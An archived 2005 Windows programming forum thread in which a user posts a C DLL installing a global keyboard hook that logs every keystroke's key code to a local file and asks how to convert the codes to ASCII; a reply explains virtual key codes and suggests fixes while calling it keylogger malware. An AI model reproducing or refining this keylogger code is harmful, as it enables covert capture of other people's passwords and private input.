C Board  

Go Back   C Board > Platform Specific Boards > Windows Programming

Reply
 
LinkBack Thread Tools Display Modes
Old 09-02-2005, 10:35 PM   #1
Registered User
 
Join Date: Mar 2005
Posts: 11
Keyboard hook

I have a program that records keyboard input and writes it to a file, but I think the program receives the keyboard values corresponding to certain characters, and not the ASCII values. Ex: The character ";" is recorded as 186 instead of the ASCII value, 59.

The program is a DLL:

Code:
#include <windows.h>
#include <stdio.h>

FILE *f1;
static HHOOK hkb=NULL;

int __stdcall __declspec(dllexport) KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {

    int ch;
    LPTSTR keyname;
    
    if (nCode < 0) {
        return 1;
    }
    
    ch = wParam;
    
    
    if (GetAsyncKeyState(ch) == 0) {

            f1=fopen("C:\\templog.txt","a+");
            if (f1) {
                   fprintf(f1,"%d;",ch);
                   fclose(f1);
            }
    }
    

    LRESULT RetVal = CallNextHookEx(hkb,nCode,wParam,lParam );

    return 0;

}

HHOOK __stdcall __declspec(dllexport) installHook(HINSTANCE hins) {
    f1=fopen("C:\\report.txt","a+");
    fclose(f1);
    hkb=SetWindowsHookEx(WH_KEYBOARD, (HOOKPROC)KeyboardProc,hins,0);
    return hkb;
}
If the values are indeed corresponding to how the keyboard interprets them, is this in any way, keyboard-specific?

Is there any way of efficiently modifying the recorded values - besides the pathetic task of testing to see the keyboard values of each character, and then creating a substitution cipher, that checks each character and modifies it's value - to the ASCII correspondants?

My best guess is that this question belongs in Windows Programming.
joecaveman is offline   Reply With Quote
Old 09-02-2005, 11:31 PM   #2
Registered User
 
Tonto's Avatar
 
Join Date: Jun 2005
Location: New York
Posts: 1,465
wParam contains a virtual key scan code. A list of these codes can be found here: http://www.vmware.com/support/ws5/do...map_vscan.html and MSDN explains this in it's WH_KEYBOARD reference: http://msdn.microsoft.com/library/de...yboardproc.asp. GetAsyncKeyState also just comes in and sucks up your KeyboardProc, in addition to not returning 0 when a key is down. See: http://msdn.microsoft.com/library/de...nckeystate.asp for more info. It is also just a very hackish way of checking if it's a WM_KEYDOWN message. Check out the useful flags in lParam instead. It is also very clear that you are making lame malware (keylogger), which is against the rules of the forum.
Tonto is offline   Reply With Quote
Old 09-03-2005, 08:07 AM   #3
Registered User
 
Join Date: Mar 2005
Posts: 11
Thanks for the help, and additional advice.
joecaveman is offline   Reply With Quote
Reply

Thread Tools
Display Modes

Forum Jump

Similar Threads
Thread Thread Starter Forum Replies Last Post
Simulate Keys with a Keyboard Hook guitarist809 Windows Programming 3 11-14-2008 08:14 PM
C++ Global Keyboard Hook darknite135 C++ Programming 4 02-01-2008 07:36 PM
Keyboard Hook jmd15 Windows Programming 19 08-07-2005 03:11 PM
How to keep static data in a keyboard hook? junbin Windows Programming 1 01-19-2003 03:24 AM


All times are GMT -6. The time now is 09:27 AM.


Powered by vBulletin® Version 3.8.1
Copyright ©2000 - 2009, Jelsoft Enterprises Ltd.
Search Engine Optimization by vBSEO 3.3.0 RC2

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22